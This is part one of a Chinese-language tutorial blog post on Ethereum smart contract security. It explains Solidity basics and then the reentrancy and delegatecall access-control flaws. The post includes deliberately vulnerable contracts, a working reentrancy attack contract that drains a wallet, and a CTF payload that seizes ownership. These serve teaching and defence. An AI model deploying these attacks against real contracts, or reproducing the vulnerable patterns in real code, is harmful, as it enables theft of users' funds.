以太坊智能合约安全入门了解一下(上)
作者:RickGray
作者博客:http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/
(注:本文分上/下兩部分完成,下篇鏈接《以太坊智能合約安全入門了解一下(下)》)
最近區塊鏈漏洞不要太火,什么交易所用戶被釣魚導致 APIKEY 泄漏,代幣合約出現整數溢出漏洞致使代幣歸零, MyEtherWallet 遭 DNS 劫持致使用戶 ETH 被盜等等。頻頻爆出的區塊鏈安全事件,越來越多的安全從業者將目標轉到了 Blockchain 上。經過一段時間的惡補,讓我從以太坊智能合約 “青銅I段” 升到了 “青銅III段”,本文將從以太坊智能合約的一些特殊機制說起,詳細地剖析已發現各種漏洞類型,對每一種漏洞類型都會提供一段簡單的合約代碼來對漏洞成因和攻擊方法進行說明。
在閱讀接下來的文章內容之前,我假定你已經對以太坊智能合約的相關概念已經有了一定的了解。如果從開發者的角度來看智能,大概是這個樣子:
以太坊專門提供了一種叫 EVM 的虛擬機供合約代碼運行,同時也提供了面向合約的語言來加快開發者開發合約,像官方推薦且用的最多的 Solidity 是一種語法類似 JavaScript 的合約開發語言。開發者按一定的業務邏輯編寫合約代碼,并將其部署到以太坊上,代碼根據業務邏輯將數據記錄在鏈上。以太坊其實就是一個應用生態平臺,借助智能合約我們可以開發出各式各樣的應用發布到以太坊上供業務直接使用。關于以太坊/智能合約的概念可參考文檔。
接下來也是以 Solidity 為例來說明以太坊智能合約的一些已存在安全問題。
I. 智能合約開發 - Solidity
Solidity 的語法類似 JavaSript,整體還是比較好上手,一個簡單的用 Solidity 編寫的合約代碼如下
語法相關的話我建議可以先看一下這個教學系列(FQ),下面我說說我在學習和復習以太坊智能合約時一開始比較懵逼的地方:
1. 以太坊賬戶和智能合約區別
以太坊賬戶分兩種,外部賬戶和合約賬戶。外部賬戶由一對公私鑰進行管理,賬戶包含著 Ether 的余額,而合約賬戶除了可以含有 Ether 余額外,還擁有一段特定的代碼,預先設定代碼邏輯在外部賬戶或其他合約對其合約地址發送消息或發生交易時被調用和處理:
外部賬戶 EOA
- 由公私鑰對控制
- 擁有 ether 余額
- 可以發送交易(transactions)
- 不包含相關執行代碼
合約賬戶
- 擁有 ether 余額
- 含有執行代碼
- 代碼僅在該合約地址發生交易或者收到其他合約發送的信息時才會被執行
- 擁有自己的獨立存儲狀態,且可以調用其他合約
(這里留一個問題:“合約賬戶也有公私鑰對嗎?若有,那么允許直接用公私鑰對控制賬戶以太坊余額嗎?”)
簡單來說就是合約賬戶由外部賬戶或合約代碼邏輯進行創建,一旦部署成功,只能按照預先寫好的合約邏輯進行業務交互,不存在其他方式直接操作合約賬戶或更改已部署的合約代碼。
2. 代碼執行限制
在初識 Solidity 時需要注意的一些代碼執行限制:
以太坊在設置時為了防止合約代碼出現像 “死循環” 這樣的情況,添加了代碼執行消耗這一概念。合約代碼部署到以太坊平臺后,EVM 在執行這些代碼時,每一步執行都會消耗一定 Gas,Gas 可以被看作是能量,一段代碼邏輯可以假設為一套 “組合技”,而外部調用者在調用該合約的某一函數時會提供數量一定的 Gas,如果這些 Gas 大于這一套 “組合技” 所需的能量,則會成功執行,否則會由于 Gas 不足而發生?out of gas?的異常,合約狀態回滾。
同時在 Solidity 中,函數中遞歸調用棧(深度)不能超過 1024 層:
contract Some {function Loop() {Loop();} }// Loop() -> // Loop() -> // Loop() -> // ... // ... (must less than 1024) // ... // Loop()3. 回退函數 - fallback()
在跟進 Solidity 的安全漏洞時,有很大一部分都與合約實例的回退函數有關。那什么是回退函數呢?官方文檔描述到:
A contract can have exactly one unnamed function. This function cannot have arguments and cannot return anything. It is executed on a call to the contract if none of the other functions match the given function identifier (or if no data was supplied at all).
fallback 函數在合約實例中表現形式即為一個不帶參數沒有返回值的匿名函數:
那么什么時候會執行 fallback 函數呢?
注:目前已知的關于 Solidity 的安全問題大多都會涉及到 fallback 函數
4. 幾種轉幣方法對比
Solidity 中?<address>.transfer(),<address>.send()?和?<address>.gas().call.vale()()?都可以用于向某一地址發送 ether,他們的區別在于:
<address>.transfer()
- 當發送失敗時會 throw; 回滾狀態
- 只會傳遞 2300 Gas 供調用,防止重入(reentrancy)
<address>.send()
- 當發送失敗時會返回 false 布爾值
- 只會傳遞 2300 Gas 供調用,防止重入(reentrancy)
<address>.gas().call.value()()
- 當發送失敗時會返回 false 布爾值
- 傳遞所有可用 Gas 進行調用(可通過 gas(gas_value) 進行限制),不能有效防止重入(reentrancy)
注:開發者需要根據不同場景合理的使用這些函數來實現轉幣的功能,如果考慮不周或處理不完整,則極有可能出現漏洞被攻擊者利用
例如,早期很多合約在使用?<address>.send()?進行轉帳時,都會忽略掉其返回值,從而致使當轉賬失敗時,后續的代碼流程依然會得到執行。
5. require 和 assert,revert 與 throw
require?和?assert?都可用于檢查條件,并在不滿足條件的時候拋出異常,但在使用上 require 更偏向代碼邏輯健壯性檢查上;而在需要確認一些本不該出現的情況異常發生的時候,就需要使用 assert 去判斷了。
revert 和 throw 都是標記錯誤并恢復當前調用,但 Solidity 在 0.4.10 開始引入 revert(), assert(), require() 函數,用法上原先的 throw; 等于 revert()。
關于這幾個函數詳細講解,可以參考文章。
II. 漏洞現場還原
歷史上已經出現過很多關于以太坊合約的安全事件,這些安全事件在當時的影響也是巨大的,輕則讓已部署的合約無法繼續運行,重則會導致數千萬美元的損失。在金融領域,是不允許錯誤出現的,但從側面來講,正是這些安全事件的出現,才促使了以太坊或者說是區塊鏈安全的發展,越來越多的人關注區塊鏈安全、合約安全、協議安全等。
所以,通過一段時間的學習,在這我將已經明白的關于以太坊合約的幾個漏洞原理記錄下來,有興趣的可以進一步交流。
下面列出了已知的常見的 Solidity 的漏洞類型:
下面我會按照 原理 -> 示例(代碼) -> 攻擊 來對每一類型的漏洞進行原理說明和攻擊方法的講解。
1. Reentrancy
重入漏洞,在我剛開始看這個漏洞類型的時候,還是比較懵逼的,因為從字面上來看,“重入” 其實可以簡單理解成 “遞歸” 的意思,那么在傳統的開發語言里 “遞歸” 調用是一種很常見的邏輯處理方式,那在 Solidity 里為什么就成了漏洞了呢。在上面一部分也有講到,在以太坊智能合約里有一些內在的執行限制,如 Gas Limit,來看下面這段代碼:
pragma solidity ^0.4.10;contract IDMoney {address owner;mapping (address => uint256) balances; // 記錄每個打幣者存入的資產情況event withdrawLog(address, uint256);function IDMoney() { owner = msg.sender; }function deposit() payable { balances[msg.sender] += msg.value; }function withdraw(address to, uint256 amount) {require(balances[msg.sender] > amount);require(this.balance > amount);withdrawLog(to, amount); // 打印日志,方便觀察 reentrancyto.call.value(amount)(); // 使用 call.value()() 進行 ether 轉幣時,默認會發所有的 Gas 給外部balances[msg.sender] -= amount;}function balanceOf() returns (uint256) { return balances[msg.sender]; }function balanceOf(address addr) returns (uint256) { return balances[addr]; } }這段代碼是為了說明重入漏洞原理編寫的,實現的是一個類似公共錢包的合約。任何人都可以向?IDMoney?存入相應的 Ether,合約會記錄每個賬戶在該合約里的資產(Ether)情況,賬戶可以查詢自身/他人在此合約中的余額,同時也能夠通過?withdraw?將自己在合約中的 Ether 直接提取出來轉給其他賬戶。
初識以太坊智能合約的人在分析上面這段代碼時,應該會認為是一段比較正常的代碼邏輯,似乎并沒有什么問題。但是我在之前就說了,以太坊智能合約漏洞的出現其實跟自身的語法(語言)特性有很大的關系。這里,我們把焦點放在?withdraw(address, uint256)?函數中,合約在進行提幣時,使用?require?依次判斷提幣賬戶是否擁有相應的資產和該合約是否擁有足夠的資金可供提幣(有點類似于交易所的提幣判斷),隨后使用?to.call.value(amount)();?來發送 Ether,處理完成后相應修改用戶資產數據。
仔細看過第一部分 I.3 的同學肯定發現了,這里轉幣的方法用的是?call.value()()?的方式,區別于?send()?和?transfer()?兩個相似功能的函數,call.value()()?會將剩余的 Gas 全部給予外部調用(fallback 函數),而?send()?和?transfer()?只會有 2300 的 Gas 量來處理本次轉幣操作。如果在進行 Ether 交易時目標地址是個合約地址,那么默認會調用該合約的 fallback 函數(存在的情況下,不存在轉幣會失敗,注意 payable 修飾)。
上面說了這么多,顯然地,在提幣或者說是合約用戶在轉幣的過程中,存在一個遞歸?withdraw?的問題(因為資產修改在轉幣之后),攻擊者可以部署一個包含惡意遞歸調用的合約將公共錢包合約里的 Ether 全部提出,流程大致是這樣的:
(讀者可以直接先根據上面的 IDMoney 合約代碼寫出自己的攻擊合約代碼,然后在測試環境中進行模擬)
我實現的攻擊合約代碼如下:
contract Attack {address owner;address victim;modifier ownerOnly { require(owner == msg.sender); _; }function Attack() payable { owner = msg.sender; }// 設置已部署的 IDMoney 合約實例地址function setVictim(address target) ownerOnly { victim = target; }// deposit Ether to IDMoney deployedfunction step1(uint256 amount) ownerOnly payable {if (this.balance > amount) {victim.call.value(amount)(bytes4(keccak256("deposit()")));}}// withdraw Ether from IDMoney deployedfunction step2(uint256 amount) ownerOnly {victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);}// selfdestruct, send all balance to ownerfunction stopAttack() ownerOnly {selfdestruct(owner);}function startAttack(uint256 amount) ownerOnly {step1(amount);step2(amount / 2);}function () payable {if (msg.sender == victim) {// 再次嘗試調用 IDCoin 的 sendCoin 函數,遞歸轉幣victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);}} }使用?remix-ide?模擬攻擊流程:
著名導致以太坊硬分叉(ETH/ETC)的 The DAO 事件就跟重入漏洞有關,該事件導致 60 多萬以太坊被盜。
2. Access Control
訪問控制,在使用 Solidity 編寫合約代碼時,有幾種默認的變量或函數訪問域關鍵字:private, public, external 和 internal,對合約實例方法來講,默認可見狀態為 public,而合約實例變量的默認可見狀態為 private。
- public 標記函數或變量可以被任何賬戶調用或獲取,可以是合約里的函數、外部用戶或繼承該合約里的函數
- external 標記的函數只能從外部訪問,不能被合約里的函數直接調用,但可以使用 this.func() 外部調用的方式調用該函數
- private 標記的函數或變量只能在本合約中使用(注:這里的限制只是在代碼層面,以太坊是公鏈,任何人都能直接從鏈上獲取合約的狀態信息)
- internal 一般用在合約繼承中,父合約中被標記成 internal 狀態變量或函數可供子合約進行直接訪問和調用(外部無法直接獲取和調用)
Solidity 中除了常規的變量和函數可見性描述外,這里還需要特別提到的就是兩種底層調用方式?call和?delegatecall:
- call?的外部調用上下文是外部合約
- delegatecall?的外部調用上下是調用合約上下文
簡單的用圖表示就是:
合約 A 以?call?方式調用外部合約 B 的?func()?函數,在外部合約 B 上下文執行完?func()?后繼續返回 A 合約上下文繼續執行;而當 A 以?delegatecall?方式調用時,相當于將外部合約 B 的?func()?代碼復制過來(其函數中涉及的變量或函數都需要存在)在 A 上下文空間中執行。
下面代碼是 OpenZeppelin CTF 中的題目:
pragma solidity ^0.4.10;contract Delegate {address public owner;function Delegate(address _owner) {owner = _owner;}function pwn() {owner = msg.sender;} }contract Delegation {address public owner;Delegate delegate;function Delegation(address _delegateAddress) {delegate = Delegate(_delegateAddress);owner = msg.sender;}function () {if (delegate.delegatecall(msg.data)) {this;}} }仔細分析代碼,合約 Delegation 在 fallback 函數中使用?msg.data?對 Delegate 實例進行了?delegatecall()?調用。msg.data 可控,這里攻擊者直接用?bytes4(keccak256("pwn()"))?即可通過?delegatecall()?將已部署的 Delegation?owner?修改為攻擊者自己(msg.sender)。
使用?remix-ide?模擬攻擊流程:
2017 年下半年出現的智能合約錢包 Parity 被盜事件就跟未授權和?delegatecall?有關。
(注:本文上部主要講解了以太坊智能合約安全的研究基礎和兩類漏洞原理實例,在《以太坊智能合約安全入門了解一下(下)》中會補全其他幾類漏洞的原理講解,并有一小節 “自我思考” 來總結我在學習和研究以太坊智能合約安全時遇到的細節問題)
參考鏈接:
總結
以上是生活随笔為你收集整理的以太坊智能合约安全入门了解一下(上)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 链表游戏:CVE-2017-10661之
- 下一篇: 以太坊智能合约安全入门了解一下(下)